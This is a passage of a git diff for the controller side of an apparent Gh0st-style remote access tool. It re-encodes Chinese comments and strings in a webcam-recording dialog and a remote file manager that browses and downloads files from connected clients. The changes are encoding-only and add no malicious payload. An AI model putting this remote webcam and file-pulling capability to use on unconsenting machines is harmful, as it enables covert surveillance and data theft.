--- a/server/2015Remote/TalkDlg.h +++ b/server/2015Remote/TalkDlg.h @@ -1,18 +1,18 @@ -#pragma once +#pragma once #include "IOCPServer.h" #include "afxwin.h" -// CTalkDlg Ի +// CTalkDlg 对话框 class CTalkDlg : public DialogBase { DECLARE_DYNAMIC(CTalkDlg) public: - CTalkDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // ׼캯 + CTalkDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // 标准构造函数 virtual ~CTalkDlg(); - // Ի + // 对话框数据 enum { IDD = IDD_DIALOG_TALK }; void OnReceiveComplete(void) @@ -20,7 +20,7 @@ public: } protected: - virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 DECLARE_MESSAGE_MAP() public: diff --git a/server/2015Remote/TrueColorToolBar.cpp b/server/2015Remote/TrueColorToolBar.cpp index cc92088..40bb5b1 100644 --- a/server/2015Remote/TrueColorToolBar.cpp +++ b/server/2015Remote/TrueColorToolBar.cpp @@ -1,4 +1,4 @@ -/***========================================================================= +/***========================================================================= ==== ==== ==== D C U t i l i t y ==== ==== ==== diff --git a/server/2015Remote/TrueColorToolBar.h b/server/2015Remote/TrueColorToolBar.h index b7cbffe..31449a7 100644 --- a/server/2015Remote/TrueColorToolBar.h +++ b/server/2015Remote/TrueColorToolBar.h @@ -1,4 +1,4 @@ -/***========================================================================= +/***========================================================================= ==== ==== ==== D C U t i l i t y ==== ==== ==== diff --git a/server/2015Remote/VideoDlg.cpp b/server/2015Remote/VideoDlg.cpp index 80153df..74b9348 100644 --- a/server/2015Remote/VideoDlg.cpp +++ b/server/2015Remote/VideoDlg.cpp @@ -1,4 +1,4 @@ -// VideoDlg.cpp : ʵļ +// VideoDlg.cpp : 实现文件 // #include "stdafx.h" @@ -8,10 +8,10 @@ enum { - IDM_ENABLECOMPRESS = 0x0010, // Ƶѹ - IDM_SAVEAVI, // ¼ + IDM_ENABLECOMPRESS = 0x0010, // 视频压缩 + IDM_SAVEAVI, // 保存录像 }; -// CVideoDlg Ի +// CVideoDlg 对话框 IMPLEMENT_DYNAMIC(CVideoDlg, CDialog) @@ -27,13 +27,13 @@ void CVideoDlg::SaveAvi(void) } CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.avi"); - CFileDialog dlg(FALSE, "avi", strFileName, OFN_OVERWRITEPROMPT, "Ƶļ(*.avi)|*.avi|", this); + CFileDialog dlg(FALSE, "avi", strFileName, OFN_OVERWRITEPROMPT, "视频文件(*.avi)|*.avi|", this); if(dlg.DoModal () != IDOK) return; m_aviFile = dlg.GetPathName(); int code; if (code = m_aviStream.Open(m_aviFile, m_BitmapInfor_Full)) { - MessageBox("¼ļʧ:"+m_aviFile + "\r\n: " + CBmpToAvi::GetErrMsg(code).c_str(), "ʾ"); + MessageBox("创建录像文件失败:"+m_aviFile + "\r\n错误代码: " + CBmpToAvi::GetErrMsg(code).c_str(), "提示"); m_aviFile.Empty(); } else { pSysMenu->CheckMenuItem(IDM_SAVEAVI, MF_CHECKED); @@ -110,7 +110,7 @@ BEGIN_MESSAGE_MAP(CVideoDlg, CDialog) END_MESSAGE_MAP() -// CVideoDlg Ϣ +// CVideoDlg 消息处理程序 BOOL CVideoDlg::OnInitDialog() @@ -122,13 +122,13 @@ BOOL CVideoDlg::OnInitDialog() m_hDD = DrawDibOpen(); m_hDC = ::GetDC(m_hWnd); - SysMenu->AppendMenu(MF_STRING, IDM_ENABLECOMPRESS, "Ƶѹ(&C)"); - SysMenu->AppendMenu(MF_STRING, IDM_SAVEAVI, "¼(&V)"); + SysMenu->AppendMenu(MF_STRING, IDM_ENABLECOMPRESS, "视频压缩(&C)"); + SysMenu->AppendMenu(MF_STRING, IDM_SAVEAVI, "保存录像(&V)"); SysMenu->AppendMenu(MF_SEPARATOR); CString strString; - strString.Format("%s - Ƶ %d%d", m_IPAddress, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight); + strString.Format("%s - 视频管理 %d×%d", m_IPAddress, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight); SetWindowText(strString); @@ -146,7 +146,7 @@ BOOL CVideoDlg::OnInitDialog() void CVideoDlg::OnClose() { CancelIO(); - // ȴݴ + // 等待数据处理完毕 if (IsProcessing()) { ShowWindow(SW_HIDE); return; @@ -165,11 +165,11 @@ void CVideoDlg::OnReceiveComplete(void) switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) { case TOKEN_WEBCAM_DIB: { - DrawDIB();//ǻͼתĴ뿴һ + DrawDIB();//这里是绘图函数,转到他的代码看一下 break; } default: - // ䷢쳣 + // 传输发生异常数据 break; } } @@ -185,22 +185,22 @@ void CVideoDlg::DrawDIB(void) Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(0); LPBYTE szBuffer = tmp.Buf(); UINT ulBufferLen = m_ContextObject->InDeCompressedBuffer.GetBufferLength(); - if (szBuffer[1] == 0) { // ûоH263ѹԭʼݣҪ - // һΣûѹ˵˲ָ֧Ľ + if (szBuffer[1] == 0) { // 没有经过H263压缩的原始数据,不需要解码 + // 第一次,没有压缩,说明服务端不支持指定的解码器 if (m_nCount == 1) { SysMenu->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED); } SysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_UNCHECKED); memcpy(m_BitmapData_Full, szBuffer + nHeadLen, ulBufferLen - nHeadLen); - } else { // - ////ﻺĵĵڶַǷƵ - InitCodec(*(LPDWORD)(szBuffer + 2)); //ж + } else { // 解码 + ////这里缓冲区里的的第二个字符正好是是否视频解码 + InitCodec(*(LPDWORD)(szBuffer + 2)); //判断 if (m_pVideoCodec != NULL) { SysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_CHECKED); - memcpy(m_BitmapCompressedData_Full, szBuffer + nHeadLen, ulBufferLen - nHeadLen); //Ƶûнѹ - //↑ʼ룬ͬδѹһ ʾԻϡ ʼƵaviʽ + memcpy(m_BitmapCompressedData_Full, szBuffer + nHeadLen, ulBufferLen - nHeadLen); //视频没有解压 + //这里开始解码,解码后就是同未压缩的一样了 显示到对话框上。 接下来开始视频保存成avi格式 m_pVideoCodec->DecodeVideoData(m_BitmapCompressedData_Full, ulBufferLen - nHeadLen, - (LPBYTE)m_BitmapData_Full, NULL, NULL); //Ƶݽѹ + (LPBYTE)m_BitmapData_Full, NULL, NULL); //将视频数据解压 } } @@ -217,9 +217,9 @@ void CVideoDlg::InitCodec(DWORD fccHandler) if (!m_pVideoCodec->InitCompressor(m_BitmapInfor_Full, fccHandler)) { Mprintf("======> InitCompressor failed \n"); delete m_pVideoCodec; - // NULL, ʱжǷΪNULLжǷѹ + // 置NULL, 发送时判断是否为NULL来判断是否压缩 m_pVideoCodec = NULL; - // ֪ͨ˲ѹ + // 通知服务端不启用压缩 BYTE bToken = COMMAND_WEBCAM_DISABLECOMPRESS; m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); GetSystemMenu(FALSE)->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED); @@ -229,7 +229,7 @@ void CVideoDlg::InitCodec(DWORD fccHandler) void CVideoDlg::OnSysCommand(UINT nID, LPARAM lParam) { - // TODO: ڴϢ/Ĭֵ + // TODO: 在此添加消息处理程序代码和/或调用默认值 switch (nID) { case IDM_SAVEAVI: { SaveAvi(); @@ -277,7 +277,7 @@ void CVideoDlg::OnPaint() if (!m_aviFile.IsEmpty()) { m_aviStream.Write(m_BitmapData_Full); - // ʾ¼ + // 提示正在录像 SetBkMode(m_hDC, TRANSPARENT); SetTextColor(m_hDC, RGB(0xff,0x00,0x00)); const LPCTSTR lpTipsString = "Recording"; diff --git a/server/2015Remote/VideoDlg.h b/server/2015Remote/VideoDlg.h index b7dba66..bf975e0 100644 --- a/server/2015Remote/VideoDlg.h +++ b/server/2015Remote/VideoDlg.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include "IOCPServer.h" #include "Bmp2Video.h" @@ -36,7 +36,7 @@ public: } ICCompressGetFormat(m_hIC, m_lpbmiInput, &m_bmiOutput); - // ֤ + // 向编码器发送验证 ICSendMessage(m_hIC, 0x60c9, 0xf7329ace, 0xacdeaea2); m_cv.hic = m_hIC; @@ -115,7 +115,7 @@ public: if (hIC) { ICGetInfo(hIC, &icInfo, sizeof(icInfo)); *fccHandler = icInfo.fccHandler; - //ڵõszDescriptionUNICODE˫ִֽҪתΪASCII + //由于得到的szDescription是UNICODE双字节字串,所以要转换为ASCII的 if (strName != NULL) wcstombs(strName, icInfo.szDescription, 256); } else nRet = -1; @@ -127,14 +127,14 @@ public: }; -// CVideoDlg Ի +// CVideoDlg 对话框 class CVideoDlg : public DialogBase { DECLARE_DYNAMIC(CVideoDlg) public: - CVideoDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // ׼캯 + CVideoDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // 标准构造函数 virtual ~CVideoDlg(); LPBITMAPINFO m_BitmapInfor_Full; @@ -147,19 +147,19 @@ public: void SaveAvi(void); void InitCodec(DWORD fccHandler); - CString m_aviFile; // ļΪվд + CString m_aviFile; // 如果文件名不为空就写入 CBmpToAvi m_aviStream; int m_nCount; HDC m_hDC; HDRAWDIB m_hDD; - CVideoCodec *m_pVideoCodec; // Ƶѹ - // Ի + CVideoCodec *m_pVideoCodec; // 视频压缩类 + // 对话框数据 enum { IDD = IDD_DIALOG_VIDEO }; protected: - virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 DECLARE_MESSAGE_MAP() public: diff --git a/server/2015Remote/file/CFileListCtrl.cpp b/server/2015Remote/file/CFileListCtrl.cpp index 2a3d216..349ff1a 100644 --- a/server/2015Remote/file/CFileListCtrl.cpp +++ b/server/2015Remote/file/CFileListCtrl.cpp @@ -1,4 +1,4 @@ -#include "StdAfx.h" +#include "StdAfx.h" #include "2015Remote.h" #include "CFileListCtrl.h" #include "CFileManagerDlg.h" diff --git a/server/2015Remote/file/CFileListCtrl.h b/server/2015Remote/file/CFileListCtrl.h index d57332c..3118494 100644 --- a/server/2015Remote/file/CFileListCtrl.h +++ b/server/2015Remote/file/CFileListCtrl.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include diff --git a/server/2015Remote/file/CFileManagerDlg.cpp b/server/2015Remote/file/CFileManagerDlg.cpp index 65650f2..4ca31e6 100644 --- a/server/2015Remote/file/CFileManagerDlg.cpp +++ b/server/2015Remote/file/CFileManagerDlg.cpp @@ -1,4 +1,4 @@ -// FileManagerDlg.cpp : implementation file +// FileManagerDlg.cpp : implementation file #include "stdafx.h" #include "2015Remote.h" #include "CFileManagerDlg.h" @@ -32,7 +32,7 @@ CFileManagerDlg::CFileManagerDlg(CWnd* pParent, Server* pIOCPServer, ClientConte m_bSubFordle = FALSE; id_search_result = 0; - // Զб + // 保存远程驱动器列表 m_bCanAdmin = (*m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)) == 0x01; m_strDesktopPath = (TCHAR*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(2); memset(m_bRemoteDriveList, 0, sizeof(m_bRemoteDriveList)); @@ -49,7 +49,7 @@ CFileManagerDlg::CFileManagerDlg(CWnd* pParent, Server* pIOCPServer, ClientConte DRIVE_Sys = FALSE; DRIVE_CAZ = FALSE; - Bf_nCounters = 0;// ݼ ڱȽ + Bf_nCounters = 0;// 备份计数器 由于比较用 Bf_dwOffsetHighs = 0; Bf_dwOffsetLows = 0; @@ -77,22 +77,22 @@ BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog) ON_WM_TIMER() ON_WM_CLOSE() - ON_NOTIFY(NM_DBLCLK, IDC_LIST_REMOTE_DRIVER, OnDblclkListRemotedriver) //1 ˫ - ON_NOTIFY(NM_DBLCLK, IDC_LIST_REMOTE, OnDblclkListRemote) // ˫ - ON_NOTIFY(NM_RCLICK, IDC_LIST_REMOTE_DRIVER, OnRclickListRemotedriver) //1 Ҽ - ON_NOTIFY(NM_RCLICK, IDC_LIST_REMOTE, OnRclickListRemote) // Ҽ - ON_NOTIFY(NM_RCLICK, IDC_LIST_REMOTE_SEARCH, OnRclickListSearch) // Ҽ + ON_NOTIFY(NM_DBLCLK, IDC_LIST_REMOTE_DRIVER, OnDblclkListRemotedriver) //主1 双击 + ON_NOTIFY(NM_DBLCLK, IDC_LIST_REMOTE, OnDblclkListRemote) //主 双击 + ON_NOTIFY(NM_RCLICK, IDC_LIST_REMOTE_DRIVER, OnRclickListRemotedriver) //主1 右键 + ON_NOTIFY(NM_RCLICK, IDC_LIST_REMOTE, OnRclickListRemote) //主 右键 + ON_NOTIFY(NM_RCLICK, IDC_LIST_REMOTE_SEARCH, OnRclickListSearch) //搜索 右键 - ON_NOTIFY(NM_CLICK, IDC_LIST_REMOTE_DRIVER, OnclkListRemotedriver) //1 - ON_NOTIFY(NM_CLICK, IDC_LIST_REMOTE, OnclkListRemote) // - ON_NOTIFY(NM_CLICK, IDC_LIST_REMOTE_SEARCH, OnclickListSearch) // + ON_NOTIFY(NM_CLICK, IDC_LIST_REMOTE_DRIVER, OnclkListRemotedriver) //主1 单击 + ON_NOTIFY(NM_CLICK, IDC_LIST_REMOTE, OnclkListRemote) //主 单击 + ON_NOTIFY(NM_CLICK, IDC_LIST_REMOTE_SEARCH, OnclickListSearch) //搜索 单击 ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_REMOTE, OnEndLabelEditListRemote) ON_NOTIFY(LVN_BEGINDRAG, IDC_LIST_REMOTE, OnBeginDragListRemote) - ON_COMMAND(IDT_REMOTE_VIEW, OnRemoteView) //ʾʽ - ON_COMMAND(IDT_REMOTE_PREV, OnRemotePrev) // - ON_COMMAND(IDT_REMOTE_STOP, OnRemoteStop) //ȡ + ON_COMMAND(IDT_REMOTE_VIEW, OnRemoteView) //显示方式 + ON_COMMAND(IDT_REMOTE_PREV, OnRemotePrev) //向上 + ON_COMMAND(IDT_REMOTE_STOP, OnRemoteStop) //取消 ON_BN_CLICKED(IDC_BUTTON_GO, OnGo) ON_COMMAND(IDM_RENAME, OnRename) ON_COMMAND(IDM_DELETE, OnDelete) @@ -157,11 +157,11 @@ BOOL CFileManagerDlg::OnInitDialog() RECT rect; GetClientRect(&rect); - // ñ + // 设置标题 CString str; - str.Format(_T("ļ - %s"), m_ContextObject->PeerName.c_str()), SetWindowText(str); + str.Format(_T("文件管理 - %s"), m_ContextObject->PeerName.c_str()), SetWindowText(str); - // ״̬ + // 创建带进度条的状态栏 if (!m_wndStatusBar.Create(this) || !m_wndStatusBar.SetIndicators(indicators, sizeof(indicators) / sizeof(UINT))) { @@ -172,13 +172,13 @@ BOOL CFileManagerDlg::OnInitDialog() m_wndStatusBar.SetPaneInfo(0, m_wndStatusBar.GetItemID(0), SBPS_STRETCH, NULL); m_wndStatusBar.SetPaneInfo(1, m_wndStatusBar.GetItemID(1), SBPS_NORMAL, 100); m_wndStatusBar.SetPaneInfo(2, m_wndStatusBar.GetItemID(2), SBPS_NORMAL, 210); - RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //ʾ״̬ + RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //显示状态栏 m_wndStatusBar.GetItemRect(1, &rect); m_ProgressCtrl = new CProgressCtrl; m_ProgressCtrl->Create(PBS_SMOOTH | WS_VISIBLE, rect, &m_wndStatusBar, 1); - m_ProgressCtrl->SetRange(0, 100); //ýΧ - m_ProgressCtrl->SetPos(0); //ýǰλ + m_ProgressCtrl->SetRange(0, 100); //设置进度条范围 + m_ProgressCtrl->SetPos(0); //设置进度条当前位置 SHAutoComplete(GetDlgItem(IDC_REMOTE_PATH)->GetWindow(GW_CHILD)->m_hWnd, SHACF_FILESYSTEM); @@ -197,23 +197,23 @@ BOOL CFileManagerDlg::OnInitDialog() m_list_remote_search.SetImageList(&(THIS_APP->m_pImageList_Large), LVSIL_NORMAL); m_list_remote_search.SetImageList(&(THIS_APP->m_pImageList_Small), LVSIL_SMALL); - m_list_remote_driver.InsertColumn(0, _T(""), LVCFMT_LEFT, 50); - m_list_remote_driver.InsertColumn(1, _T(""), LVCFMT_LEFT, 38); - m_list_remote_driver.InsertColumn(2, _T("ܴС"), LVCFMT_LEFT, 70); - m_list_remote_driver.InsertColumn(3, _T("ÿռ"), LVCFMT_LEFT, 70); + m_list_remote_driver.InsertColumn(0, _T("名称"), LVCFMT_LEFT, 50); + m_list_remote_driver.InsertColumn(1, _T("类型"), LVCFMT_LEFT, 38); + m_list_remote_driver.InsertColumn(2, _T("总大小"), LVCFMT_LEFT, 70); + m_list_remote_driver.InsertColumn(3, _T("可用空间"), LVCFMT_LEFT, 70); - m_list_remote.InsertColumn(0, _T(""), LVCFMT_LEFT, 250); - m_list_remote.InsertColumn(1, _T("С"), LVCFMT_LEFT, 70); - m_list_remote.InsertColumn(2, _T(""), LVCFMT_LEFT, 120); - m_list_remote.InsertColumn(3, _T("޸"), LVCFMT_LEFT, 115); + m_list_remote.InsertColumn(0, _T("名称"), LVCFMT_LEFT, 250); + m_list_remote.InsertColumn(1, _T("大小"), LVCFMT_LEFT, 70); + m_list_remote.InsertColumn(2, _T("类型"), LVCFMT_LEFT, 120); + m_list_remote.InsertColumn(3, _T("修改日期"), LVCFMT_LEFT, 115); m_list_remote.SetParenDlg(this); - //listͷ + //设置搜索list表头 m_list_remote_search.ShowWindow(SW_HIDE); - m_list_remote_search.InsertColumn(0, _T("ļ"), LVCFMT_LEFT, 130); - m_list_remote_search.InsertColumn(1, _T("С"), LVCFMT_LEFT, 100); - m_list_remote_search.InsertColumn(2, _T("޸"), LVCFMT_LEFT, 100); - m_list_remote_search.InsertColumn(3, _T("ļ·"), LVCFMT_LEFT, 450); + m_list_remote_search.InsertColumn(0, _T("文件名"), LVCFMT_LEFT, 130); + m_list_remote_search.InsertColumn(1, _T("大小"), LVCFMT_LEFT, 100); + m_list_remote_search.InsertColumn(2, _T("修改日期"), LVCFMT_LEFT, 100); + m_list_remote_search.InsertColumn(3, _T("文件路径"), LVCFMT_LEFT, 450); SetWindowPos(NULL, 0, 0, 830, 500, SWP_NOMOVE); FixedRemoteDriveList(); @@ -226,11 +226,11 @@ void CFileManagerDlg::OnSize(UINT nType, int cx, int cy) CDialog::OnSize(nType, cx, cy); // TODO: Add your message handler code here - // ״̬ûд + // 状态栏还没有创建 if (m_wndStatusBar.m_hWnd == NULL) return; - // λ״̬ - RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //ʾ + // 定位状态栏 + RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //显示工具栏 RECT rect; m_wndStatusBar.GetItemRect(1, &rect); m_ProgressCtrl->MoveWindow(&rect); @@ -241,7 +241,7 @@ void CFileManagerDlg::OnBeginDragListRemote(NMHDR* pNMHDR, LRESULT* pResult) NM_LISTVIEW* pNMListView = (NM_LISTVIEW*)pNMHDR; //We will call delete later (in LButtonUp) to clean this up - if (m_list_remote.GetSelectedCount() > 1) //ѡбеij 1 Ŀ + if (m_list_remote.GetSelectedCount() > 1) //选择了列表中的超过 1 个项目 m_hCursor = AfxGetApp()->LoadCursor(IDC_MUTI_DRAG); else m_hCursor = AfxGetApp()->LoadCursor(IDC_DRAG); @@ -262,12 +262,12 @@ void CFileManagerDlg::OnLButtonUp(UINT nFlags, CPoint point) TCHAR str[1024] = TEXT("c:\\"); HWND hwnd = NULL; POINT pNow = { 0,0 }; - if (GetCursorPos(&pNow)) // ȡ굱ǰλ + if (GetCursorPos(&pNow)) // 获取鼠标当前位置 mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_LEFTDOWN, pNow.x, pNow.y, 0, 0); mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_LEFTUP, pNow.x, pNow.y, 0, 0); Sleep(150); HWND hwndPointNow = NULL; - hwndPointNow = ::WindowFromPoint(pNow); // ȡڴڵľ + hwndPointNow = ::WindowFromPoint(pNow); // 获取鼠标所在窗口的句柄 TCHAR szBuf_class[MAX_PATH]; TCHAR szBuf_title[MAX_PATH]; ::GetWindowText(hwndPointNow, szBuf_title, MAX_PATH); @@ -297,7 +297,7 @@ void CFileManagerDlg::OnLButtonUp(UINT nFlags, CPoint point) } if (hwnd == NULL) { - ::MessageBox(NULL, _T("קļѡĿ¼"), TEXT(""), 0); + ::MessageBox(NULL, _T("请拖拽到文件管理器选定目录中"), TEXT("错误"), 0); } else { ::SendMessage(hwnd, WM_GETTEXT, 1024, (LPARAM)str); strLpath = str + 4; @@ -307,7 +307,7 @@ void CFileManagerDlg::OnLButtonUp(UINT nFlags, CPoint point) } if (bDownload) { m_bIsUpload = false; - // ļ + // 禁用文件管理窗口 EnableControl(FALSE); CString file; @@ -316,14 +316,14 @@ void CFileManagerDlg::OnLButtonUp(UINT nFlags, CPoint point) while (pos) { int nItem = m_list_remote.GetNextSelectedItem(pos); file = m_Remote_Path + m_list_remote.GetItemText(nItem, 0); - // Ŀ¼ + // 如果是目录 if (m_list_remote.GetItemData(nItem)) file += '\\'; m_Remote_Download_Job.AddTail(file); } if (file.IsEmpty()) { EnableControl(TRUE); - ::MessageBox(m_hWnd, _T("ѡļ"), _T(""), MB_OK | MB_ICONWARNING); + ::MessageBox(m_hWnd, _T("请选择文件!"), _T("警告"), MB_OK | MB_ICONWARNING); return; } @@ -334,7 +334,7 @@ void CFileManagerDlg::OnLButtonUp(UINT nFlags, CPoint point) if (strLpath.GetAt(strLpath.GetLength() - 1) != _T('\\')) strLpath += _T("\\"); m_nTransferMode = TRANSFER_MODE_NORMAL; - // ͵һ + // 发送第一个下载任务 SendDownloadJob(); } } @@ -355,7 +355,7 @@ BOOL CFileManagerDlg::PreTranslateMessage(MSG* pMsg) return TRUE; } } - // ˴ڱʹƶ + // 单击除了窗口标题栏以外的区域使窗口移动 if (pMsg->message == WM_LBUTTONDOWN && pMsg->hwnd == m_hWnd) { pMsg->message = WM_NCLBUTTONDOWN; pMsg->wParam = HTCAPTION; @@ -373,15 +373,15 @@ void CFileManagerDlg::OnTimer(UINT_PTR nIDEvent) void CFileManagerDlg::FixedRemoteDriveList() { - // ϵͳͳͼб ͼб - //ϵͳͼ + // 加载系统统图标列表 设置驱动器图标列表 + //加载系统图标 DRIVE_Sys = FALSE; BYTE* pDrive = NULL; pDrive = (BYTE*)m_bRemoteDriveList; int count = 0; - int AmntMB = 0; // ܴС - int FreeMB = 0; // ʣռ + int AmntMB = 0; // 总大小 + int FreeMB = 0; // 剩余空间 /* 6 DRIVE_FLOPPY @@ -392,9 +392,9 @@ void CFileManagerDlg::FixedRemoteDriveList() 11 DRIVE_CDROM */ int nIconIndex = -1; - //һѭзϢǵб + //用一个循环遍历所有发送来的信息,先是到列表中 for (int i = 0; pDrive[i] != '\0';) { - //жͼ + //由驱动器名判断图标的索引 if (pDrive[i] == _T('A') || pDrive[i] == _T('B')) { nIconIndex = 0; } else { @@ -420,12 +420,12 @@ void CFileManagerDlg::FixedRemoteDriveList() break; } } - //ʾ + //显示驱动器名 CString str; str.Format(_T("%c:\\"), pDrive[i]); int nItem = m_list_remote_driver.InsertItem(i, str, nIconIndex); m_list_remote_driver.SetItemData(nItem, 1); - //ʾС + //显示驱动器大小 memcpy(&AmntMB, pDrive + i + 4, 4); memcpy(&FreeMB, pDrive + i + 8, 4); str.Format(_T("%0.1f GB"), (float)AmntMB / 1024); @@ -442,7 +442,7 @@ void CFileManagerDlg::FixedRemoteDriveList() i += (lstrlen(lpTypeName) + 1) * sizeof(TCHAR); lpFileSystemName = (TCHAR*)(pDrive + i); - // , Ϊվʾ + // 磁盘类型, 为空就显示磁盘名称 if (lstrlen(lpFileSystemName) == 0) { m_list_remote_driver.SetItemText(nItem, 1, lpTypeName); } else { @@ -453,17 +453,17 @@ void CFileManagerDlg::FixedRemoteDriveList() count++; } - m_list_remote_driver.InsertItem(0, _T(""), nIconIndex); - m_list_remote_driver.InsertItem(0, _T(""), nIconIndex); + m_list_remote_driver.InsertItem(0, _T("桌面"), nIconIndex); + m_list_remote_driver.InsertItem(0, _T("最近"), nIconIndex); count += 2; - // Զ̵ǰ· + // 重置远程当前路径 m_Remote_Path = ""; m_Remote_Directory_ComboBox.ResetContent(); DRIVE_CAZ = FALSE; DWORD_PTR dwResult; - ShowMessage(_T("Զ̼б")); + ShowMessage(_T("远程计算机:磁盘列表")); SendMessageTimeout(m_ProgressCtrl->GetSafeHwnd(), PBM_SETPOS, 0, 0, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, NULL, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); @@ -476,14 +476,14 @@ void CFileManagerDlg::fixNetHood(BYTE* pbuffer, int buffersize) CString str; TCHAR* pszFileName = NULL; int strsize; - DWORD dwOffset = 0; // λָ + DWORD dwOffset = 0; // 位移指针 for (int i = 0; dwOffset < buffersize - sizeof(int);) { memcpy(&strsize, pbuffer + dwOffset, sizeof(int)); pszFileName = (TCHAR*)(pbuffer + dwOffset + sizeof(int)); str = pszFileName; int nItem = m_list_remote_driver.InsertItem(m_list_remote_driver.GetItemCount(), str, DRIVE_REMOTE); m_list_remote_driver.SetItemData(nItem, 1); - m_list_remote_driver.SetItemText(nItem, 1, _T("")); + m_list_remote_driver.SetItemText(nItem, 1, _T("共享")); m_list_remote_driver.SetItemText(nItem, 2, _T("")); m_list_remote_driver.SetItemText(nItem, 3, _T("")); dwOffset += (strsize + sizeof(int)); @@ -493,7 +493,7 @@ void CFileManagerDlg::fixNetHood(BYTE* pbuffer, int buffersize) void CFileManagerDlg::OnClose() { CancelIO(); - // ȴݴ + // 等待数据处理完毕 if (IsProcessing()) { ShowWindow(SW_HIDE); return; @@ -551,16 +551,16 @@ void CFileManagerDlg::OnReceiveComplete() { if (m_bIsClosed) return; switch (m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[0]) { - case TOKEN_FILE_LIST: // ļб + case TOKEN_FILE_LIST: // 文件列表 FixedRemoteFileList(m_ContextObject->m_DeCompressionBuffer.GetBuffer(0), m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1); break; - case TOKEN_FILE_SIZE: // ļʱĵһݰļСļ + case TOKEN_FILE_SIZE: // 传输文件时的第一个数据包,文件大小,及文件名 CreateLocalRecvFile(); break; - case TOKEN_FILE_DATA: // ļ + case TOKEN_FILE_DATA: // 文件内容 WriteLocalRecvFile(); break; - case TOKEN_TRANSFER_FINISH: // + case TOKEN_TRANSFER_FINISH: // 传输完成 EndLocalRecvFile(); break; case TOKEN_CREATEFOLDER_FINISH: @@ -569,14 +569,14 @@ void CFileManagerDlg::OnReceiveComplete() case TOKEN_DELETE_FINISH: EndRemoteDeleteFile(); break; - case TOKEN_GET_TRANSFER_MODE: //ļϴ + case TOKEN_GET_TRANSFER_MODE: //文件上传 SendTransferMode(); break; case TOKEN_DATA_CONTINUE: - SendFileData(); //ļϴ + SendFileData(); //文件上传数据 break; case TOKEN_RENAME_FINISH: - // ˢԶļб + // 刷新远程文件列表 GetRemoteFileList(_T(".")); break; case TOKEN_SEARCH_FILE_LIST: @@ -604,7 +604,7 @@ void CFileManagerDlg::OnReceiveComplete() break; case TOKEN_FILE_INFO: { CString szInfo = (TCHAR*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1); - if (MessageBox(szInfo, _T("· ȷϿа"), MB_ICONEXCLAMATION | MB_YESNO) == IDYES) { + if (MessageBox(szInfo, _T("路径 确认拷贝到剪切板"), MB_ICONEXCLAMATION | MB_YESNO) == IDYES) { CStringA a; a = szInfo; ::OpenClipboard(::GetDesktopWindow()); @@ -628,8 +628,8 @@ void CFileManagerDlg::OnReceiveComplete() break; case TOKEN_FILE_ZIPOK: { GetRemoteFileList(_T(".")); - ShowMessage(_T("ѹ")); - MessageBox(0, _T("ZIPѹ")); + ShowMessage(_T("压缩完成")); + MessageBox(0, _T("ZIP压缩完成")); } break; case TOKEN_FILE_GETINFO: { @@ -641,22 +641,22 @@ void CFileManagerDlg::OnReceiveComplete() break; case TOKEN_FILE_SEARCHPLUS_NONTFS: { DWORD_PTR dwResult; - SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,(LPARAM)_T(" ̷NTFSʽ"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,(LPARAM)_T(" 驱动盘非NTFS格式"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); } break; case TOKEN_FILE_SEARCHPLUS_HANDLE: { DWORD_PTR dwResult; - SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T("ҪԱȨ"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T("需要管理员权限运行"), SMTO_ABORTIFHUNG | 